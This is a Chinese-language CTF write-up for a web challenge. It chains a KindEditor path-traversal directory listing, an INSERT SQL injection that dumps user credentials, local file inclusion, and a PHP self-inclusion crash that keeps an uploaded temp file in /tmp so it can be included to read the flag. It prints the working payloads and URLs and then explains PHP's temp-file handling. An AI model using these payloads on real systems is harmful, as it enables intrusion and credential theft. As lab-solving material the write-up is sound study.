最新消息:XAMPP默认安装之后是很不安全的,我们只需要点击左方菜单的 "安全"选项,按照向导操作即可完成安全设置。

php文件自包含的奇淫技巧

注册以后

发现了一个编辑器,网上搜索一番,编辑器可以列目录:

1http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=/../../../../../../../tmp/

在提交的地方有注入,就是那种正常的insert注入:

以下是注入的过程:

1title=1a&content=1','4'),('a',(select group_concat(username,password) from users ),'a
2admin
33177d917a0053c6161207e733c84356d(19-10-1997)
4

登录以后

可以文件包含,但是filter协议不能使用:

1http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/blog_manage/manager.php?module=../robots.txt&name=111

一个思路思路就是通过文件包含无限的包含自身,让PHP的调用栈清空,然后以post的方式提交一个文件,文件会保存在/tmp目录,这个时候通过编辑器路径查看的漏洞查看文件名之后 文件包含:

一下是payload:

 1<!DOCTYPE html>
 2<html>
 3<head>
 4    <title>upload</title>
 5</head>
 6<body>
 7    <form name = "uploadform" method="POST" enctype="multipart/form-data" action="http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/blog_manage/manager.php?module=manager&name=php">
 8    upload file2:<input type="file" name="file1" size="30"/>
 9    <input type="submit" name="submit" value="submit">
10    </form>
11</body>
12</html>

上传如下代码:

1<?php phpinfo();?>

通过编辑器的漏洞查看文件名之后,可以看到临时文件的文件名称:

然后通过文件包含刚才上传的文件

通过phpinfo可以发现:

禁用了以下函数

1exec,passthru,shell_exec,assert,eval,glob,imageftbbox,bindtextdomain,mkdir,dir, system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket, imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile, ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,file_get_contents,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,unlink, pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority, pcntl_setpriority

那我们通过提交如下代码来获取flag

1<?php
2    highlight_file("/var/www/html/flag.php");
3?>
原理解读

以上就是一个全部的解题的过程,这个姿势很奇葩,原来都没有见过,过程不是很懂,去php文档里面查了查php文件上传的原理,了解了一下php的一些特性,感觉对php的的了解又深入了一点:

php的全局数组$_FILES中

1$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。

一般文件上传之前,php就保存在/tmp目录之下,然后后端的代码主要通过move_uploaded_file()函数来将缓存文件移动到新的目录中去,继续查阅php文档之后,我们会发现,php的临时文件名是php[0-9A-Za-z]{3,4} 上传完毕,程序继续执行之后,php的临时文件就会自动删除。

如果程序停止执行,php的临时文件就不会自动删除,那么如何才能防止其自动删除呢?

如wp所示,不停的自我包含,程序崩溃,这个时候php的自我保护机制为了让其从程序错误中恢复出来,就会清空自己的内存栈空间,缓存文件就不会删除了。

 

转载请注明:XAMPP中文组官网 » php文件自包含的奇淫技巧